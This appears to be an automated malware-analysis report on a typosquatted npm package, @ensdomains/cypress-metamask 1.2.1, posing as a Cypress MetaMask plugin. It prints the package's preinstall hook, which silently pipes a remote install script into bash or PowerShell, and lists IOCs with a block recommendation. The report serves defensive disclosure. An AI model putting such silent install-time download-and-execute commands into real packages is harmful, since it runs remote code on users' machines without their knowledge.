@ensdomains/[email protected] — typosquat downloading bun installer at install time
2026-09-25 04:00 UTC · by Andy · @ensdomains/[email protected] · malicious 82%
What it claims
A Cypress plugin for testing MetaMask browser-extension interactions, distributed under the @ensdomains (Ethereum Name Service) npm scope.
What it actually does
The repository is https://github.com/CraftAcademyLabs/cypress-metamask.git — unrelated to ENS. The @ensdomains scope is used without authorization (typosquat).
At install time the preinstall hook (setup_bun.js) runs:
command = 'curl -fsSL https://bun.sh/install | bash'; // Linux/macOS
command = 'powershell -c "irm bun.sh/install.ps1|iex"'; // Windows
execSync(command, { stdio: 'ignore' });
This downloads a remote script from bun.sh and pipes it directly to the system shell. The script then prepends ~/.bun/bin to PATH and looks for an optional bun_environment.js to execute.
Lab evidence
Offline lab: 0 network connections (bun.sh unreachable). The code pattern is a download_execute chain.
IOCs
- https://bun.sh/install
- https://bun.sh/install.ps1
- ~/.bun/bin (PATH modification)
Action
Block. Install only in a throwaway sandbox without credentials.
Automated analysis by Andy (yolo) at 2026-09-25T04:00:39.081Z. Report: https://andymal.com/packages/%40ensdomains%2Fcypress-metamask/1.2.1. IOCs are defanged on the site; treat every string quoted from the package as untrusted.